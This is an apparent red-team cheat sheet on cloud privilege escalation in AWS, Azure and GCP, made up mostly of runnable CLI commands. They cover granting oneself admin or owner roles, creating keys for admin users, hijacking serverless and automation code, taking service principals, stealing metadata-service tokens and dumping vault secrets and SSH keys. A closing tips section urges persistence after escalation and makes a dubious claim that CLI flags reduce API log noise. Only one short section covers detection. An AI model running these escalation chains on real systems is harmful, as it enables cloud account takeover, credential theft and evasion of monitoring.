Cloud PrivEsc
Cloud Privilege Escalation — Owning the Sky
Compromising cloud credentials is just the beginning. Cloud privilege escalation transforms low-privilege API access into root-equivalent control by exploiting trust relationships, policy misconfigurations, and metadata exposures.
This guide walks through AWS, Azure, and GCP privilege escalation techniques used by advanced red teamers and CTF players alike.
I. 🧩 Core Concepts
IAM Role
Defines permissions and trust relationships.
Policy Document
JSON structure granting actions to identities.
AssumeRole
AWS mechanism to impersonate another role.
Service Principal
App identity with delegated privileges (Azure).
Service Account
GCP equivalent of a machine identity.
Privilege Escalation
Gaining higher access than originally granted.
II. ⚙️ AWS Privilege Escalation
🧠 1. IAM Enumeration (Baseline)
aws sts get-caller-identity
aws iam list-roles
aws iam list-attached-user-policies --user-name <user>⚙️ 2. Check for * in Policies
* in Policiesaws iam list-policies --query "Policies[].PolicyName"
aws iam get-policy-version --policy-arn <arn> --version-id v1Look for:
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}→ Full admin privileges.
💣 3. Exploiting iam:PassRole + EC2
iam:PassRole + EC2Vulnerability: User can create EC2 instance with a higher-privileged role.
aws iam list-roles | grep Admin
aws ec2 run-instances --image-id ami-1234 --iam-instance-profile Name=AdminRoleResult → shell access to instance with elevated privileges.
🧩 4. Exploiting iam:CreateAccessKey
iam:CreateAccessKeyaws iam create-access-key --user-name admin-userGenerates permanent access credentials for escalation.
⚙️ 5. Abusing iam:AttachUserPolicy
iam:AttachUserPolicyAttach AdministratorAccess to self:
aws iam attach-user-policy --user-name <your_user> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess💣 6. sts:AssumeRole Misconfigurations
sts:AssumeRole Misconfigurationsaws sts assume-role --role-arn arn:aws:iam::111111111111:role/AdminRole --role-session-name elevateIf the role trusts your account or the wildcard Principal: *, you escalate instantly.
🧠 7. Lambda Function Role Hijack
If user can update Lambda code:
aws lambda update-function-code --function-name target-func --zip-file fileb://malicious.zipPayload executes with the Lambda’s IAM role.
⚙️ 8. EC2 Instance Profile Hijack
aws ec2 associate-iam-instance-profile --instance-id i-0123abcd --iam-instance-profile Name=AdminRoleGrants admin permissions via attached role.
💣 9. CloudFormation Privilege Abuse
If allowed to create stacks:
aws cloudformation create-stack --stack-name escalator --template-body file://escalate.ymlTemplate includes resources with AdministratorAccess.
🧠 10. Secrets & Token Harvesting
aws secretsmanager list-secrets
aws ssm get-parameter --name /prod/db/password --with-decryption⚙️ Tools for AWS PrivEsc
CloudGoat
AWS privilege escalation training lab
Pacu
AWS exploitation framework
Enumerate-IAM
Detects privilege escalation paths
CloudSplaining
Audits IAM policies for risk
III. ⚙️ Azure Privilege Escalation
🧠 1. Enumerate Permissions
az ad signed-in-user show
az role assignment list --all
az ad sp list⚙️ 2. Role Escalation via User Access Administrator
User Access AdministratorIf assigned this role:
az role assignment create --assignee <your_id> --role "Owner"💣 3. Abusing Contributor Role
Contributor can write configurations, deploy code, and create identities, but not manage access. Use it to deploy a VM extension that runs arbitrary PowerShell:
az vm extension set --publisher Microsoft.Compute --name CustomScriptExtension --vm-name target --resource-group RG --settings '{"commandToExecute":"powershell -enc <payload>"}'🧩 4. Service Principal Takeover
If you can modify a service principal:
az ad sp update --id <object-id> --add [email protected]→ Add your own password, authenticate as that service principal.
⚙️ 5. Managed Identity Abuse
When an Azure VM exposes metadata:
curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Use access token to impersonate identity:
export AZURE_ACCESS_TOKEN=<token>
az account set --access-token $AZURE_ACCESS_TOKEN💣 6. Azure Automation Account Privilege Escalation
Automation Accounts often run as system-managed identities. If you can edit runbooks:
az automation runbook update --automation-account-name target --name elevate --set runbookType=PowerShellRun malicious script → executes as managed identity.
🧠 7. Azure Key Vault Access
az keyvault secret list --vault-name targetvault
az keyvault secret show --name adminpassword --vault-name targetvault→ Dump secrets directly from vault.
⚙️ 8. App Registration PrivEsc
App registrations with Application.ReadWrite.All can modify permissions.
Add “Owner” to yourself:
az ad app permission add --id <app-id> --api <api-id> --api-permissions Directory.ReadWrite.All=Role🧠 Azure PrivEsc Toolkit
ROADTools
Enumerate and manipulate Azure AD
StormSpotter
Visualize relationships & attack paths
AzureHound
BloodHound for Azure
MicroBurst
PowerShell tool for Azure reconnaissance & escalation
IV. ⚙️ GCP Privilege Escalation
🧠 1. Enumerate IAM Roles
gcloud projects get-iam-policy project-id⚙️ 2. Service Account Abuse
If you can impersonate another account:
gcloud auth print-access-token --impersonate-service-account [email protected]💣 3. Add Binding to Self
If you have roles/resourcemanager.projectIamAdmin:
gcloud projects add-iam-policy-binding project-id \
--member=user:[email protected] \
--role=roles/owner🧩 4. Cloud Functions & Run Exploitation
If allowed to deploy/update functions:
gcloud functions deploy evilfunc --runtime python39 --trigger-http --entry-point main --allow-unauthenticated→ Execute arbitrary code as function’s service account.
⚙️ 5. Metadata PrivEsc
From any GCP VM:
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokenUse token to enumerate or act as the service account.
💣 6. Storage & Key Leakage
gsutil ls gs://target-bucket
gsutil cat gs://target-bucket/.ssh/id_rsa⚙️ 7. IAM Rebinding
If you have editor privileges:
gcloud projects add-iam-policy-binding project-id \
--member=serviceAccount:[email protected] \
--role=roles/owner🧠 GCP Escalation Tools
GCPBucketBrute
Discover open GCP buckets
Cloud_enum
Multi-cloud enumeration tool
ScoutSuite
Audit permissions and exposures
GCP-IAM-PermFinder
Identify misconfigurations and privilege paths
V. ⚙️ Cross-Cloud & Hybrid Privilege Chains
SSRF → Metadata → IAM Role Abuse
Start with web vuln → extract token → assume admin role.
Exposed Keys → IAM Wildcard
Found key in repo → permissions allow policy edits → admin access.
CI/CD Integration Leak
Jenkins/Azure DevOps tokens → cloud control.
Multi-Cloud Trust Exploit
Azure app using AWS creds → cross-provider pivot.
VI. ⚙️ Cloud Privilege Escalation Indicators (Defensive Awareness)
Sudden policy version change
New permissions added post-compromise
AssumeRole calls from new IPs
Stolen credentials in use
Lambda or Function code modified
Execution hijack
Key Vault / Secrets Manager access spike
Credential theft in progress
Creation of new access keys
Persistence attempt
VII. ⚔️ Pro Tips & Red Team Tricks
✅ Always Dump Policies
aws iam get-user-policy --user-name user --policy-name inline→ Inline policies often expose hidden paths.
✅ Privilege Path Mapping
Use tools like Pacu or AzureHound to visualize what your user can become.
✅ AssumeRole Enumeration Enumerate all trust policies — if you can find a single wildcard trust, you own the account.
✅ Pivot to Persistence Once escalated → create your own keys, roles, or service principals to maintain access.
✅ Defense Bypass
Use --no-cli-pager and quiet flags to minimize API log noise.
✅ Automation Use:
enumerate-iam --profile lowuser --scan-privescto auto-detect escalation vectors.
VIII. ⚙️ Quick Reference Table
AWS
PassRole → EC2
aws ec2 run-instances --iam-instance-profile Name=Admin
AssumeRole
aws sts assume-role --role-arn <arn>
AttachPolicy
aws iam attach-user-policy
Azure
Role Escalation
az role assignment create
SPN Takeover
az ad sp update --add passwordCredentials
Managed Identity
curl 169.254.169.254/metadata/identity/oauth2/token
GCP
IAM Bind
gcloud projects add-iam-policy-binding
SA Impersonation
gcloud auth print-access-token --impersonate-service-account
Last updated
Was this helpful?